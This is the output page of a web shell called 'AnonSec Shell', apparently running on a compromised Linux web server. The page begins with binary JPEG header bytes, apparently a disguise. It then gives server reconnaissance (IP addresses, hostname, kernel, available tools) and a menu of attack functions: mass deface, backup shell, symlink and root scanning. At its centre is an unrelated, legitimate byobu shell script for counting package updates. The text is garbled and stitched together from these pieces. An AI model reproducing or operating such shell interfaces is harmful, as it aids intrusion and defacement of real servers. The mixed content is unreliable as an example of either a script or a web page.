JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/byobu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/byobu/updates_available
#!/bin/sh -e
#
#    updates_available: calculate and cache the number of updates available
#
#    Copyright (C) 2008 Canonical Ltd.
#    Copyright (C) 2011-2014 Dustin Kirkland
#
#    Authors: Dustin Kirkland <kirkland@byobu.org>
#
#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, version 3 of the License.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.

___print_updates() {
	local u= s=
	read u s < "$1"
	if [ -n "$u" ]; then
		if [ "$u" -gt 0 ]; then
			color b r W; printf "%d" "$u"; color -; color r W
			if [ -n "$s" ] && [ "$s" -gt 0 ]; then
				printf "$ICON_SECURITY"
			else
				printf "$ICON_UPDATES"
			fi
			color --
		elif [ "$u" = "0" ] && [ -e "$BYOBU_RUN_DIR/status.$BYOBU_BACKEND/updates_available" ]; then
			# Clear out byobu's status cache
			rm -f "$BYOBU_RUN_DIR/status.$BYOBU_BACKEND/updates_available"*
		fi
	fi
}

___update_cache() {
	local mycache=$1 flock="$1.lock"
	# Now we actually have to do hard computational work to calculate updates.
	# Let's try to be "nice" about it:
	renice 10 $$ >/dev/null 2>&1 || true
	ionice -c3 -p $$ >/dev/null 2>&1 || true
	# These are very computationally intensive processes.
	# Background this work, have it write to the cache files,
	# and let the next cache check pick up the results.
	# Ensure that no more than one of these run at a given time
	if [ -x /usr/lib/update-notifier/apt-check ]; then
		# If apt-check binary exists, use it
		flock -xn "$flock" sh -c "(/usr/lib/update-notifier/apt-check 2>&1 | awk '-F;' 'END { print \$1, \$2 }' >\"${mycache}-x\" 2>/dev/null ; mv \"${mycache}-x\" \"$mycache\")" &
	elif eval $BYOBU_TEST apt-get >/dev/null; then
		# If apt-get exists, use it
		flock -xn "$flock" apt-get -s -o Debug::NoLocking=true upgrade | grep -c ^Inst >$mycache 2>/dev/null &
	elif eval $BYOBU_TEST pkcon >/dev/null; then
		# use packagekit to show list of packages
		LC_ALL=C flock -xn "$flock" pkcon get-updates -p | awk '/^Results:$/ { start=NR }; /^Security/ { security++ }; END { if (!/There are no updates available at this time./) { print NR-start, security }}' > "$mycache" 2>/dev/null &
	elif eval $BYOBU_TEST zypper >/dev/null; then
		# If zypper exists, use it
		flock -xn "$flock" zypper --no-refresh lu --best-effort | grep -c 'v |' >$mycache 2>/dev/null &
	elif eval $BYOBU_TEST yum >/dev/null; then
		# If yum exists, use it
		# TODO: We need a better way of counting updates available from a RH expert
		flock -xn "$flock" yum list updates -q | grep -vc "Updated Packages" >$mycache 2>/dev/null &
	elif eval $BYOBU_TEST pacman >/dev/null; then
		# If pacman (Archlinux) exists, use it
		LC_ALL=C flock -xn "$flock" pacman -Sup | grep -vc "^\(::\| \)" >$mycache 2>/dev/null &
	elif eval $BYOBU_TEST opkg >/dev/null; then
		# If opkg (OpenWrt) exists, use it, also background if flock exists
		if eval $BYOBU_TEST flock >/dev/null; then
			flock -xn "$flock" opkg list-upgradable | wc -l >$mycache 2>/dev/null &
		else
			opkg list-upgradable | wc -l >$mycache &
		fi
	elif eval $BYOBU_TEST brew >/dev/null; then
		# If homebrew (Mac OSX) exists, use it, also background if flock exists
		if eval $BYOBU_TEST flock >/dev/null; then
			flock -xn "$flock" brew outdated | wc -l >$mycache 2>/dev/null &
		else
			brew outdated | wc -l >$mycache &
		fi
	fi
}

___update_needed() {
	# Checks if we need to update the cache.
	# TODO: add more distro
	local mycache=$1
	# The cache doesn't exist: create it
	[ ! -e "$mycache" ] && return 0
	if eval $BYOBU_TEST apt-get >/dev/null; then
		# Debian/ubuntu
		d0=$(($(stat -c %Y $mycache 2>/dev/null)-5))
		d1=$(stat -c %Y /var/lib/apt)
		d2=$(stat -c %Y /var/lib/apt/lists)
		d3=$(stat -c %Y /var/log/dpkg.log)
		now=$(date +%s)
		delta=$(($now-$d0))
		if [ $d0 -lt 0 ] || [ $d0 -lt $d1 ] || [ $d0 -lt $d2 ] || [ $d0 -lt $d3 ] || [ 3605 -lt $delta ] ; then
			return 0
		else
			return 1
		fi
	elif [ -e "/var/lib/PackageKit/transactions.db" ]; then
		[ "/var/lib/PackageKit/transactions.db" -nt "$mycache" ]
		return $?
	elif eval $BYOBU_TEST pacman >/dev/null; then
		# Archlinux
		local db
		for db in /var/lib/pacman/sync/*.db; do
			[ "$db" -nt "$mycache" ] && return 0
		done
		return 1
	elif eval $BYOBU_TEST opkg >/dev/null; then
		# OpenWrt
		[ ! -e /var/lock/opkg.lock ] || return 1
		if [ -d /var/opkg-lists ]; then
			[ /var/opkg-lists -nt "$mycache" ]
			return $?
		else
			local u s
			read u s < "$mycache"
			[ "$u" -gt 0 ]
			return $?
		fi
	elif eval $BYOBU_TEST brew >/dev/null; then
		# Mac OSX
		# check if any new versions have been installed since
		# we last cached. this may not recognize formulae
		# installed with HEAD
		for f in $(brew --prefix)/Cellar/*; do
			[ "$f" -nt "$mycache" ] && return 0
		done
		# nothing new has been installed, so check wether the
		# formulae database was updated
		[ "$(brew --prefix)/Library/Formula" -nt "$mycache" ]
		return $?
	fi
	return 1
}

__updates_available_detail() {
	if eval $BYOBU_TEST apt-get >/dev/null; then
		local detail=`apt-get -s -o Debug::NoLocking=true upgrade`
		if [ "$1" = "--detail" ]; then
			printf "$detail"
		else
			local short=`printf "%s" "$detail" | grep -c ^Inst`
			printf "$short"
		fi
	fi
}

__updates_available() {
	local mycache="$BYOBU_RUN_DIR/cache.$BYOBU_BACKEND/updates-available"
	# If mycache is present, use it
	[ -r $mycache ] && ___print_updates "$mycache"
	# If we really need to do so (mycache doesn't exist, or the package database has changed),
	# background an update now
	___update_needed "$mycache" && ___update_cache "$mycache"
}

# vi: syntax=sh ts=4 noexpandtab

Anon7 - 2022
AnonSec Team